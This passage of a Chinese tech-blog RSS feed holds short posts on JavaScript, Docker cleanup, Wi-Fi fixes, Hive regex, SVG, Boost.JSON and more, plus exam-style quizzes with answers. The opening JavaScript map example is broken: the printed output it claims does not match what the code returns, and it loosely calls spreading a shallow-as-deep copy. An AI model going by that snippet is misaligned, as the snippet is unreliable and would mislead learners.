      <pubDate>Fri, 02 Jul 2021 21:55:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1be5878796cf095a6e0aa58ee13dc06/</guid>
      <description>提到map用法，很多人想到forEach，那么这两种方法的区别是什么？会有人说，forEach会改变原数组；map不会改变原数组，返回一个新数组。事实是这样的吗？答案不是，这种说法不准确，是有条件的。&#xA;1、当数组的值为基本类型的时候，map遍历数组，当对数组中的值做处理的时候，的确不会改变原数组。&#xA;let a = [1,2,3]&#xA;b=a.map(item =&amp;gt; { item = item+1 })&#xA;console.log(a) // [1,2,3]&#xA;console.log(b) // [2,3,4]&#xA;2、当数组是一个对象数组的时候，我们发现，map遍历数组，通过打印发现原数组发生改变了&#xA;有什么办法不让map改变对象数组这样的原数组？我们可以这样写。&#xA;经过打印，发现原数组没有被改变。为什么会这样呢？我们对对象数组中的item值，通过扩展运算符…深拷贝给obj，不在原数组中直接操作item的值，而是操作obj中值，这样原数组就不会改变了。注意：扩展运算符只对对象的第一层是深拷贝！！!所以当有人问你，扩展运算符是深拷贝还是浅拷贝的时候，应该分情况回答。这里不作详细解释。</description>
    </item>
    <item>
      <title>深度学习算法中图像预处理和后处理方法</title>
      <link>https://bchobby.github.io/posts/18c6e450d48bd5385f5ac93bf840e2bc/</link>
      <pubDate>Fri, 02 Jul 2021 17:38:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18c6e450d48bd5385f5ac93bf840e2bc/</guid>
      <description>链接</description>
    </item>
    <item>
      <title>docker清理空间资源</title>
      <link>https://bchobby.github.io/posts/f9d6d93bce41455d12b6766de31424de/</link>
      <pubDate>Fri, 02 Jul 2021 14:37:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f9d6d93bce41455d12b6766de31424de/</guid>
      <description>在工作中经常遇到构建docker服务时，显示磁盘空间不足，这是发现以前的docker镜像占用了大量的空间。&#xA;可以使用下列方法清理一部分磁盘：&#xA;1. docker system prune -a 清理无用的容器和镜像 2. 删除镜像后，空间还是不足，可能是docker容器中服务报错，产生大量的core文件 去docker目录下查看哪里占用空间大&#xA;cd /mnt/var/lib/docker/overlay2/&#xA;du -sh ./*&#xA;进入占用空间大的目录里&#xA;cd 容器目录&#xA;删除core 文件&#xA;rm -if core.*&#xA;在创建docker容器时，可以设置不生成core文件</description>
    </item>
    <item>
      <title>win7计算机建立无线网络连接不上,Win7笔记本电脑连接不上wifi怎么办_Win7无法连接wifi-192路由网...</title>
      <link>https://bchobby.github.io/posts/5214e3dd9bb9287ea52f51a52dec7186/</link>
      <pubDate>Fri, 02 Jul 2021 09:09:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5214e3dd9bb9287ea52f51a52dec7186/</guid>
      <description>问：Win7笔记本电脑连接不上WiFi怎么办？Win7无法连接WiFi上网怎么办？我的笔记本是Win7系统，但是无法连接我的WiFi上网了后，提示无法连接到此网络，请问应该如何设置？&#xA;答：Win7笔记本电脑无法连接到某个WiFi信号，有以下几个方面的原因：&#xA;1、WiFi密码错误&#xA;2、Win7中保存的WiFi记录与路由器中不符&#xA;3、路由器中限制&#xA;一、WiFi密码错误&#xA;当Win7笔记本电脑连接WiFi时，如果使用的WiFi密码不正确，那么肯定是无法连接WiFi上网的。所以，请先检查下你在Win7中填写的WiFi密码是否正确。&#xA;二、Win7中保存的WiFi记录与路由器中不符&#xA;如果Win7笔记本电脑之前已经连接了该WiFi信号，Win7笔记本电脑中就会保持这个WiFi的记录，后续连接时不用手动填写密码，自动就能连接上网。&#xA;不过，如果现在修改路由器中WiFi的密码、加密方式等参数，而没有修改WiFi名称。这时候就会出现Win7中保存的WiFi记录，与路由器中该WiFi的参数信息不符，这时候肯定连接不上WiFi了。&#xA;解决办法是删除Win7中保存的WiFi记录，重新搜索WiFi信号，输入新的WiFi密码，就可以连接上了。&#xA;1、打开网络和共享中心&#xA;点击屏幕中的“网络”图标，然后鼠标右键，选择“属性”，也是可以打开 网络和共享中心的&#xA;打开Win7的“网络”属性选项&#xA;2、打开“管理无线网络”选项&#xA;在网络和共享中心页面，点击左上方的“管理无线网络”选项，如下图所示&#xA;打开Win7的“管理无线网络”选项&#xA;3、删除wifi热点记录&#xA;在“管理无线网络”页面中，找到需要删除的wifi热点名称，然后鼠标右击，选择“删除网络”&#xA;删除Win7中保存的WiFi记录&#xA;在弹出的对话框中，点击“是”，如下图所示：&#xA;在弹出的对话框中，点击“是”&#xA;三、路由器中限制&#xA;无线路由器中是可以限制某台电脑上网的，当无线路由器中设置了“上网控制”、“家长控制”、“无线MAC地址过滤”等功能，就有可能造成Win7笔记本电脑连接不上WiFi的问题。&#xA;所以，请登录到路由器的设置页面，检查、关闭路由器中的“上网控制”、“家长控制”、“无线MAC地址过滤”等功能，如下图所示：&#xA;关闭路由器上的“家长控制”&#xA;关闭路由器上的“上网行为管理”&#xA;注意问题：&#xA;不同的无线路由器，设置界面不一样，请在你的无线路由器中注意查找相关功能。如果实在找不到，可以把你的无线路由器先恢复出厂设置，然后重新设置路由器上网，也是可以解决这个问题的。&#xA;相关文章：</description>
    </item>
    <item>
      <title>软件项目管理第4版课后习题[附解析]第九章</title>
      <link>https://bchobby.github.io/posts/7e5cd471a993b6032ace1cbcbffaa00a/</link>
      <pubDate>Thu, 01 Jul 2021 21:15:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e5cd471a993b6032ace1cbcbffaa00a/</guid>
      <description>软件项目管理第4版课后习题[附解析]系列文章目录第一章第二章第三章第四章第五章第六章第七章第八章第九章第十章第十一章第十二章第十三章第十四章第十五章第十六章期末复习题型分册版-练习版无答案（无大题版）期末复习题型分册版-有答案版（无大题版） 一、填空题 1、（完整性和可跟踪性）是软件配置管理的核心功能。&#xA;2、（基线）标志开发过程中一个阶段的结束和里程碑。&#xA;3、 基线变更控制包括（变更请求）、（变更控制）、（变更批准/拒绝）、（变更实现）等步骤。&#xA;4、（版本管理）、（变更管理）是配置管理的主要功能。&#xA;5、基线变更时，需要经过（SCCB）授权。&#xA;6、SCCB的全称是（软件配置控制委员会）。&#xA;二、 判断题 1、一个软件配置项可能有多个标识。（×）&#xA;每个软件只有唯一的配置项&#xA;2、基线提供了软件开发阶段的一个特定点。（对）&#xA;3、有效的项目管理能够控制变化，以最有效的手段应对变化，不断命中移动的目标。（√）&#xA;4、 一个（些）配置项形成并通过审核，即形成基线。（√）&#xA;5、软件配置项是项目需定义其受控于软件配置管理的款项，每个项目的配置项是相同的。（×）&#xA;6、基线的修改不需要每次都按照正式的程序执行。（×）&#xA;7、基线产品是不能修改的。（×）&#xA;8、基线修改应受到控制，但不一定要经SCCB授权。（×）&#xA;9、变更控制系统包括从项目变更申请、变更评估、变更审批到变更实施的文档化流程。（√）&#xA;10、持续支付领域强调对项目所有的相关产物及其之间的关系都要进行有效配置管理（对）&#xA;11、持续支付更倾向于使用基于分支的开发模式（错）&#xA;三、 选择题 1、 下列不属于SCCB的职责的是（D）&#xA;A 评估变更 B 与项目管理层沟通 C 对变更进行反馈 D 提出变更申请&#xA;请说明软件配置控制委员会(SCCB)的基本职责&#xA;答：&#xA;1.评估变更&#xA;2.批准变更申请&#xA;3.在生存期内规范变更申请流程&#xA;4.对变更进行反馈&#xA;5.与项目管理层沟通&#xA;2、为了更好地管理变更，需要定义项目基线，关于基线的描述，下列描述正确的是（B）&#xA;A 不可变化&#xA;B 可以变化，但是必须通过基线变更控制流程处理&#xA;C 所以的项目必须定义基线&#xA;D 基线发生变更时，必须修改需求&#xA;3、软件配置管理无法确保以下哪种软件产品属性（A）&#xA;A 正确性 B 完整性 C 一致性 D 可控性&#xA;4、变更控制需要关注的是（B）&#xA;A 阻止变更 B 标识变更，提出变更，管理变更&#xA;C 管理SCCB D 客户的想法</description>
    </item>
    <item>
      <title>AT&#43;CCLK返回错误的时间</title>
      <link>https://bchobby.github.io/posts/3fab28bceb316f8ef77133e49fd8c36c/</link>
      <pubDate>Thu, 01 Jul 2021 20:26:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3fab28bceb316f8ef77133e49fd8c36c/</guid>
      <description>使用移远EC200模块发送AT+CCLK命令查询网络时间时，返回的时间并不是当前年月日时分秒，如果你返回的时间年月日，分秒相同，就是小时总是差一个固定的值，那说明得到的时间是对的。这和你所在的时区是由关系的。&#xA;我下面要说的是我得到了完全不同的时间。&#xA;我得到的是2014-1-1 0时0分0秒。&#xA;这个我百度了一大圈没找到原因，终于在外网得到了一点点解释，网站名称是devzone，标题是AT+CCLK reporting bogus time&#xA;根据答题大神的意思，首先，这是没有完美解决方案的，发生的原因可能是模块和基站未同步，所以返回了一个虚假的时间。而我得到这个错误时间也确实是开机的时候。&#xA;想要解决这个问题，也只能对得到的时间进行判断，如果远远小于现在的年份，那么肯定错了，重新读一次。</description>
    </item>
    <item>
      <title>计算机一级wps选择题必背知识点,计算机一级考试wps选择题专项训练</title>
      <link>https://bchobby.github.io/posts/15b319ec758d8844a5006e8ce24a0d8a/</link>
      <pubDate>Thu, 01 Jul 2021 18:53:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15b319ec758d8844a5006e8ce24a0d8a/</guid>
      <description>选择题是计算机一级考试的重要题型，为了帮助考生备考计算机一级考试的wps科目，下面学习啦小编为大家带来计算机一级考试wps选择题专项训练，欢迎考生备考练习。　计算机一级考试wps选择题专项训练1：&#xA;1、Office 应用程序一般都提供许多模板，以下关于模板叙述错误的是[ D ]。&#xA;A)模板可以被多次使用&#xA;B)模板中往往提供一些特定数据和格式&#xA;C)模板可以被修改&#xA;D)模板是 Office 提供的，用户不能创建新模板&#xA;2、在 Word 工作过程中，当光标位于文中某处，输入字符，通常都有哪两种工作状态[ A ]。&#xA;A)插入与改写&#xA;B)插入与移动&#xA;C)改写与复制&#xA;D)复制与移动&#xA;3、在 Excel 的单元格内输入日期时，年、月、日分隔符可以是[ A ]。&#xA;A) “/”或“—”&#xA;B) “.”或“|”&#xA;C) “/”或“\”&#xA;D) “\”或“—”&#xA;4、Excel 中默认的单元格引用是[ A ]。&#xA;A)相对引用&#xA;B)绝对引用&#xA;C)混合引用&#xA;D)三维引用&#xA;5、在 EXCEL 中，关于数据库的统计，正确的叙述是[ B ]。&#xA;A)通过记录单方式查询数据，构造条件时不同字段间可以有“或”的关系&#xA;B)在一张工作表中可以有多个数据库区&#xA;C)利用 DCOUNT 函数统计人数时，其第二参数可任意指定一列&#xA;D)在数据库中对记录进行排序，必须先选中数据区间　计算机一级考试wps选择题专项训练2：&#xA;1、将一个应用程序最小化，表示[ D ]。&#xA;A)终止该应用程序的运行&#xA;B)该应用程序窗口缩小到桌面上(不在任务栏)的一个图标按钮&#xA;C)该应用程序转入后台不再运行&#xA;D)该应用程序转入后台继续运行&#xA;2、在 Windows 中，将整个桌面画面复制到剪贴板的操作是[ C ]。&#xA;A)按 PrintScreen&#xA;B)按 CTRL+PrintScreen</description>
    </item>
    <item>
      <title>IEDA rider 报错修改（lua插件重复）</title>
      <link>https://bchobby.github.io/posts/236319a7ac44d52711f856361816c0d3/</link>
      <pubDate>Thu, 01 Jul 2021 18:45:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/236319a7ac44d52711f856361816c0d3/</guid>
      <description>报错信息：&#xA;java.util.concurrent.CompletionException: org.picocontainer.PicoRegistrationException: Key com.tang.intellij.lua.luacheck.LuaCheckSettings duplicated&#xA;图片信息因为修复完成找不到了!!!&#xA;原因lua插件重复导致的错误。&#xA;修改方式：找到目标文件夹将luanalysis删除，只留下Emmylua插件即可，直接删除喔&#xA;图示：错误前&#xA;修改后：&#xA;修改完成即可正常使用了&#xA;详细报错信息：&#xA;java.util.concurrent.CompletionException: org.picocontainer.PicoRegistrationException: Key com.tang.intellij.lua.luacheck.LuaCheckSettings duplicated&#xA;at java.base/java.util.concurrent.CompletableFuture.encodeThrowable(CompletableFuture.java:314)&#xA;at java.base/java.util.concurrent.CompletableFuture.uniApplyNow(CompletableFuture.java:683)&#xA;at java.base/java.util.concurrent.CompletableFuture.uniApplyStage(CompletableFuture.java:658)&#xA;at java.base/java.util.concurrent.CompletableFuture.thenApply(CompletableFuture.java:2094)&#xA;at com.intellij.idea.ApplicationLoader.registerAppComponents(ApplicationLoader.kt:104)&#xA;at com.intellij.idea.ApplicationLoader.executeInitAppInEdt(ApplicationLoader.kt:63)&#xA;at com.intellij.idea.ApplicationLoader.access$executeInitAppInEdt(ApplicationLoader.kt:1)&#xA;at com.intellij.idea.ApplicationLoader$initApplication$1$1.run(ApplicationLoader.kt:363)&#xA;at java.desktop/java.awt.event.InvocationEvent.dispatch(InvocationEvent.java:313)&#xA;at java.desktop/java.awt.EventQueue.dispatchEventImpl(EventQueue.java:776)&#xA;at java.desktop/java.awt.EventQueue$4.run(EventQueue.java:727)&#xA;at java.desktop/java.awt.EventQueue$4.run(EventQueue.java:721)&#xA;at java.base/java.security.AccessController.doPrivileged(Native Method)&#xA;at java.base/java.security.ProtectionDomain$JavaSecurityAccessImpl.doIntersectionPrivilege(ProtectionDomain.java:85)&#xA;at java.desktop/java.awt.EventQueue.dispatchEvent(EventQueue.java:746)&#xA;at java.desktop/java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:203)&#xA;at java.desktop/java.awt.EventDispatchThread.pumpEventsForFilter(EventDispatchThread.java:124)&#xA;at java.desktop/java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:113)&#xA;at java.desktop/java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:109)&#xA;at java.desktop/java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:101)&#xA;at java.desktop/java.awt.EventDispatchThread.run(EventDispatchThread.java:90)&#xA;Caused by: org.picocontainer.PicoRegistrationException: Key com.tang.intellij.lua.luacheck.LuaCheckSettings duplicated&#xA;at com.intellij.util.pico.DefaultPicoContainer.registerComponent(DefaultPicoContainer.java:119)</description>
    </item>
    <item>
      <title>【Hive SQL】使用正则表达式做数据清洗</title>
      <link>https://bchobby.github.io/posts/f3a4cabb48b6e3bb3d49ea02ac905fc2/</link>
      <pubDate>Thu, 01 Jul 2021 14:53:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3a4cabb48b6e3bb3d49ea02ac905fc2/</guid>
      <description> 使用正则表达式做数据清洗 正则表达式语法基本语法字符串函数REGEXP_REPLACEHive SQL 正则表达式语法 在操作大数据时，通常需要将某些数据进行清洗后再进行操作，某些不规则数据清洗需要用到正则表达式。正则表达式是一种匹配模式，可以进行字符匹配和位置匹配。&#xA;基本语法 语法解释英文A-Za-z数字0-9()标记一个子表达式的开始和结束的位置，括号内表示一个连续的表达式；如果要匹配小括号，需要用\转义，例如：()[]定义匹配的字符范围，例如：[a-zA-Z]表示匹配大小写英文字符{}定义匹配范围的长度，例如：{1}表示匹配一次，{1,}表示匹配大于等于1次，{2,3}表示匹配大于等于2小于等于3次*匹配子表达式零次或多次+匹配子表达式1次或多次?匹配子表达式0次或1次\转义字符^表示非的意思，例如：[^&amp;gt;]* 表示非&amp;gt;的字符可以有0次或多次\d匹配一个数字字符，等价于[0-9]\D匹配一个非数字字符，等价于[^0-9]\w匹配字母、数字、下划线，等价于[A-Za-z0-9_]\W匹配非字母、数字、下划线，等价于[^A-Za-z0-9_].匹配除换行符（\n、\r）之外的任何单个字符 字符串函数 MaxCompute SQL中使用字符串函数对指定字符串进行灵活处理，详情可以见：https://help.aliyun.com/document_detail/48973.html?utm_content=g_1000230851&amp;amp;spm=5176.20966629.toubu.3.f2991ddcpxxvD1#title-of8-230-1g4&#xA;REGEXP_REPLACE string regexp_replace(string &amp;lt;source&amp;gt;, string &amp;lt;pattern&amp;gt;, string &amp;lt;replace_string&amp;gt;[, bigint &amp;lt;occurrence&amp;gt;]) 命令说明 将source字符串中第occurrence次匹配pattern的子串替换成指定字符串replace_string后返回结果字符串。&#xA;参数说明&#xA;source：必填。STRING类型，待替换的字符串。&#xA;pattern：必填。STRING类型常量或正则表达式。待匹配的模型。更多正则表达式编写规范，请参见正则表达式规范。pattern为空串时返回报错。&#xA;replace_string：必填。STRING类型，将匹配pattern的字符串替换后的字符串。&#xA;occurrence：可选。BIGINT类型常量，必须大于等于0，表示将第occurrence次匹配的字符串替换为replace_string，为0时表示替换所有匹配的子串。为其他类型或小于0时，返回报错。默认值为0。&#xA;实例说明&#xA;在做埋点访客量统计时，url后面有单号的需要做清洗，将单号去除，只留下url，例如&#xA;www.baidu.com/query/OO99238842934/RR99382333，清洗后的数据为：www.baidu.com/query&#xA;url = ‘www.baidu.com/query/OO99238842934/RR99382333’&#xA;regexp_replace(url,&#39;([\/]{1}[A-Z]{2,}[0-9]{5,})*&#39;, &#39;&#39;) 正则表达式中的()很重要说明括号内的是一个完整需要匹配的子表达式，如果没有小括号会认为需要匹配url中所有的/、大写字母和数字&#xA;Hive SQL SELECT dt, url, (case when site_id in (&#39;110077&#39;) then regexp_replace(url,&#39;([\/]{1}[A-Z]{2,}[0-9]{5,})*&#39;, &#39;&#39;) else url end) as url_cleaned FROM url_info; </description>
    </item>
    <item>
      <title>远距离WiFi传输模块，云望物联cv5200无线通信技术，WiFi信号远距离传输</title>
      <link>https://bchobby.github.io/posts/462e6831f6e85ff60b2d2dc90da5283f/</link>
      <pubDate>Thu, 01 Jul 2021 14:07:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/462e6831f6e85ff60b2d2dc90da5283f/</guid>
      <description>无线AP是组建无线局域网的常用设备，承担连接有线网和无线网的作用，大型公司中常用AP实现局域网的大面积覆盖，可将所有接入终端连接至同一网络进行集中管理。在这种大面积覆盖的情况下，面积越大意味着所需AP数量越多，便会产生较高成本问题。&#xA;基于WiFi信号远距离传输技术的新型AP便可通过将WiFi基带与射频天线分离，以集成多片芯片的WiFi基带控制多个远端天线，实现低成本覆盖。&#xA;WiFi信号远距离传输可采用数字信号远距离传输和模拟信号远距离传输两种方式实现，其中，数字信号远距离传输的拉远部分，需要调制解调模块将射频线传输的数字信号转换为模拟信号，成本较高，而模拟信号远距离传输的拉远部分则只需射频器件搭建收发通道，成本较低。&#xA;着眼于WiFi模拟信号远距离传输，针对其射频单元提出实现方案。WiFi模拟信号远距离传输的基本原理，是将WiFi射频信号变频到网线能承载的低中频进行长距离传输，然后在远端天线处再将低中频信号上变频还原到2.4/5GHz WiFi所工作的高频段，从而使WiFi基带与射频天线的分离。&#xA;通过集成多个WiFi基带芯片，可以极低的成本实现集中基带池的C-RAN架构。WiFi模拟信号远距离传输所实现的架构具有类似分布式基站的特点。这里小编推荐一款远距离WiFi模块：云望物联cv5200是一款卓越的双向无线通信系统。&#xA;该产品基于802.11无线通信标准，采用自身开发的LR-WiFi（Long Rang WiFi远距离WiFi）私有协议，具备ML，MRC，LDPC，MIMO-OFDM等高级无线技术。具有传输距离远、可组网、抗干扰性强、超高灵敏度的特点。&#xA;特别适用于远距离，高速率的场合，比如无人机 ，安防监控，智慧建筑，智慧农业，机器人等。该产品采用SOC实现，性能与成本俱佳，并能即贴即用，减少开发量。&#xA;分布式基站通过RRU拉远，BBU集中管理，减少设备成本的投入，而基于WiFi模拟信号远距离传输所实现的分布式架构将独立WiFi AP分成BPU和FAU两部分，也通过FAU拉远，BPU集中管理，且可以一套BPU和多套FAU的连接实现D-MIMO。&#xA;BPU主要由WiFi基带与SoC集成芯片组成，将多片WiFi SoC集中贴装到一个设备中可提高设备集成度，同时也可实现多个远端天线共享基带资源。&#xA;BPU可以1U盒式设备的形式安装在楼道处，实现16~32个传统AP的功能，提供64~128通道资源，也可以5+U机架式设备的形式安装在企业机房，实现更大容量AP阵列(如256~512个AP，1K~2K通道)。&#xA;FAU主要由射频变频器件、模拟前端放大器、控制电路以及天线组成。FAU形态为小型化的吸顶天线，由于其有源部分仅包含模拟射频单元，功耗可以做到极低，通过PoE或更低成本的私有化方案即可实现供电。&#xA;CV5200具有超长的传输距离，实测视距情况下超过 6 公里（固定2Mbps，2dB天线）；独有的LR-WiFi技术，保证在此距离下的实时传输；具有的窄带宽MIMO无线通信技术，拥有超强的抗干扰能力，并支持自动信道选择。&#xA;采用ML，MRC，MIMO-OFDM等高级无线技术，提供可靠、清晰的无线信号，能够实现长距离的非视距(N-LOS) 移动无线通信。在多径、 移动多普勒效应环境下保持可靠传输。&#xA;基带处理板的WiFi芯片输出5G/2.4G复数I-Q信号，复数信号经I-Q混频器一次混频至低中频，低中频信号通过网线传输至远端变频板。&#xA;在远端模拟域上变频至5G/2.4G后，经天线发射出去；接收方向则相反，远端变频板将天线接收RF信号模拟域降频至低中频，网线传输至基带处理板，低中频信号经I-Q混频器一次混频为复数I-Q信号后，由WiFi芯片接收。&#xA;复数I-Q变频方案的优点有：&#xA;(1)远端变频板为超外差模拟域变频，仍具备超外差变频方案选择性好的优点。&#xA;(2)该方案近端采用I-Q变频，且为零中频复数信号变频至低中频，I-Q混频器自身抑制度足够满足要求，所需滤波器较少，方案整体体积较小。&#xA;基带处理板的WiFi芯片通过数字域信号处理，直接产生实数的低中频信号，通过网线传输至远端变频板，在远端模拟域上变频至5G/2.4G后，经天线发射出去；接收方向则相反，远端变频板将天线接收RF信号模拟域降频至低中频，网线传输至基带处理板，WiFi芯片直接对低中频信号进行处理。&#xA;基带直接产生低中频方案的优点有：该方案只需要一块变频板，体积小且附加成本低，只有远端变频板有滤波器，BPU可以集成为WiFi芯片。&#xA;为什么无线远距离传输能传这么远呢？原来是CV5200通过对物理底层和MAC层基于802.11标准进行了优化，形成私有LR-WiFi协议，具有更好的物理层和MAC机制，支持更远距离的传输，并且支持一对多组网和mesh网状网组网哦。</description>
    </item>
    <item>
      <title>LeetCode 算法 每日一题 342.4的幂</title>
      <link>https://bchobby.github.io/posts/f08843fffb251c2c8cccee6b14f14143/</link>
      <pubDate>Thu, 01 Jul 2021 00:09:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f08843fffb251c2c8cccee6b14f14143/</guid>
      <description>342.4的幂 题目描述 给定一个整数，写一个函数来判断它是否是4的幂次方。如果是，返回true；否则，返回false。&#xA;整数n是4的幂次方需满足：存在整数x使得n == 4x&#xA;示例1&#xA;输入：n = 16&#xA;输出：true&#xA;示例2&#xA;输入：n = 5&#xA;输出：false&#xA;示例3&#xA;输入：n = 1&#xA;输出：true&#xA;提示&#xA;-231 &amp;lt;= n &amp;lt;= 231 - 1你能够不使用循环/递归解决此问题吗？ 代码演示&#xA;Java 数学方法/位运算&#xA;public class OneQuestionPerDay342 { public static void main(String[] args) { Solution s = new Solution(); System.out.println(s.isPowerOfFour(5)); System.out.println(s.isPowerOfFour(16)); System.out.println(s.isPowerOfFour(1)); } } class Solution342_2 { public boolean isPowerOfFour(int n) { return (n &amp;gt; 0) &amp;amp;&amp;amp; ((n &amp;amp; (n-1)) == 0) &amp;amp;&amp;amp; (n % 3 == 1); } } class Solution { public boolean isPowerOfFour(int n) { for (int count = 0; count &amp;lt; 32; count += 2) { if ((1 &amp;lt;&amp;lt; count) == n) return true; } return false; } } 数学方法 提交结果</description>
    </item>
    <item>
      <title>ubuntu18.04安装显卡驱动后，重启卡在了fsckd-cancel-msg:Press Ctrl&#43;C to cancel all filesystem checks in progress界面</title>
      <link>https://bchobby.github.io/posts/23e9720a62a33e2f1edd4c75512702a5/</link>
      <pubDate>Wed, 30 Jun 2021 22:01:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23e9720a62a33e2f1edd4c75512702a5/</guid>
      <description>参考连接：https://itectec.com/ubuntu/ubuntu-gdm3-display-manager-hangs-after-booting-with-ubuntu-18-10/&#xA;直接搬运过来：&#xA;Not sure if this is going to fix your problem, but it’s quick, so it’s worth a try…&#xA;You may have a problem with an older computer, with an older GPU. Try this…&#xA;boot to recovery modechoose root access type:&#xA;sudo mount -o remount,rw / # to remount the disk r/w sudo pico /etc/gdm3/custom.conf # edit this file change:&#xA;#WaylandEnable=false to:&#xA;WaylandEnable=false Then reboot.&#xA;我是重启一次后，卡在了logo界面，再重启一次就好了！</description>
    </item>
    <item>
      <title>Anaconda安装好之后jupyter notebook打不开？亲测有用</title>
      <link>https://bchobby.github.io/posts/797fa2040ad2eb0da1c0997960751a4f/</link>
      <pubDate>Wed, 30 Jun 2021 19:32:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/797fa2040ad2eb0da1c0997960751a4f/</guid>
      <description>运行jupter notebook 时，卡在cmd界面，无法自动打开浏览器，但是手动复制地址可以打开。&#xA;步骤1.打开Anaconda Prompt或Anaconda Powershell Prompt，执行jupyter notebook --generate-config，有时系统会提示，选择Y；若无提示，运行结果提示路径，复制路径，根据路径找到 Jupyter_notebook_config.py文件，打开文件搜索#c.NotebookApp.notebook_dir = &#39;‘在此语句下添加代码：import webbrowserwebbrowser.register(‘chrome’,None,webbrowser.GenericBrowser(u’C:\Users\xgr\AppData\Local\Google\Chrome\Application\chrome.exe’))c.NotebookApp.browser = ‘chrome’&#xA;注意：C:\Users\xgr\AppData\Local\Google\Chrome\Application\chrome.exe是Google浏览器在自己电脑的地址，查找方式：桌面的Google图标，右键-属性&#xA;然后把单斜杠换成双斜杠。保存后退出。重新执行，应该就能自动打开了&#xA;转载自知乎&#xA;Anaconda安装好之后jupyter notebook打不开</description>
    </item>
    <item>
      <title>SVG中path标签的简单使用</title>
      <link>https://bchobby.github.io/posts/0f44413f5b0de9f260d7a33e23bf7a86/</link>
      <pubDate>Wed, 30 Jun 2021 18:42:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f44413f5b0de9f260d7a33e23bf7a86/</guid>
      <description>path标签概述 他是由命令及其参数组组成的字符串，如：&#xA;&amp;lt;path d=&#34;M0,0L10,20C30-10,40,20,100,100&#34; stroke=&#34;red&#34;&amp;gt; 命名规范 区分大小写：大写表示坐标参数为绝对位置，小写则为相对位置最后的参数表示最终要到达的位置上一个命令结束的位置就是下一个命令开始的位置命令可以重复参数表示重复执行同一条命令 命令简介 M (x, y)+ 移动画笔，后面如果有重复参数，会当做是 L 命令处理L (x, y)+ 绘制直线到指定位置H (x)+ 绘制水平线到指定的 x 位置V (y)+ 绘制竖直线到指定的 y 位置m、l、h、v 使用相对位置绘制 命令含义M/m (x,y)+移动当前位置L/l (x,y)+从当前位置绘制线段到指定位置H/h (x)+从当前位置绘制⽔平线到达指定的 x 坐标V/v (y)+从当前位置绘制竖直线到达指定的 y 坐标Z/z闭合当前路径C/c (x1,y1,x2,y2,x,y)+从当前位置绘制三次⻉塞尔曲线到指定位置S/s (x2,y2,x,y)+从当前位置光滑绘制三次⻉塞尔曲线到指定位置Q/q (x1,y1,x,y)+从当前位置绘制⼆次⻉塞尔曲线到指定位置T/t (x,y)+从当前位置光滑绘制⼆次⻉塞尔曲线到指定位置A/a (rx,ry,xr,laf,sf,x,y)从当前位置绘制弧线到指定位置 移动与直线类 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt; &amp;lt;style type=&#34;text/css&#34;&amp;gt; svg { width: 300px; height: 300px; border: 1px solid green; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;svg&amp;gt; &amp;lt;!-- d 定义路径，是一些列的命令集合 M/m（x,y） 定义起始点，没有什么效果 --&amp;gt; &amp;lt;path d=&#39;M20,20&#39; stroke=&#39;red&#39;&amp;gt;&amp;lt;/path&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>BOOST.JSON库学习笔记（三）</title>
      <link>https://bchobby.github.io/posts/74eccf59e626fe34c0982587b047f23f/</link>
      <pubDate>Wed, 30 Jun 2021 17:40:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74eccf59e626fe34c0982587b047f23f/</guid>
      <description> #include &amp;lt;iostream&amp;gt; #include &amp;lt;boost/json.hpp&amp;gt; using namespace boost::json; int main(int argc, const char * argv[]) { array arr( { &#34;Hello&#34;, 42, true }); string str = &#34;World&#34;; value var = false; object subobj{ {&#34;subkey1&#34;,3.14},{&#34;subkey2&#34;,&#34;π&#34;} }; object obj; obj.emplace(&#34;key1&#34;, arr); obj.emplace(&#34;key2&#34;, str); obj.emplace(&#34;key3&#34;, var); obj.emplace(&#34;key4&#34;, 42); obj.emplace(&#34;key5&#34;, subobj); std::cout &amp;lt;&amp;lt; obj; return 0; } 本节将object。可以把object理解成pair&amp;lt;string, value&amp;gt;的集合，类似map。&#xA;可以把任意东西放入object。&#xA;key1对应的是array&#xA;key2对应的是string&#xA;key3对应的是bool。value把它当成scalar标量存储。&#xA;key4对应的int64，这个库把整数按照int64或者unsigned int64存储。&#xA;key5对应的object，一个object有个子object。&#xA;转std::string, 用如下方法：&#xA;std::string aa = serialize(obj); </description>
    </item>
    <item>
      <title>NLP干货输出</title>
      <link>https://bchobby.github.io/posts/de25fdc8a422d218549e10c46bbdb981/</link>
      <pubDate>Wed, 30 Jun 2021 17:10:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de25fdc8a422d218549e10c46bbdb981/</guid>
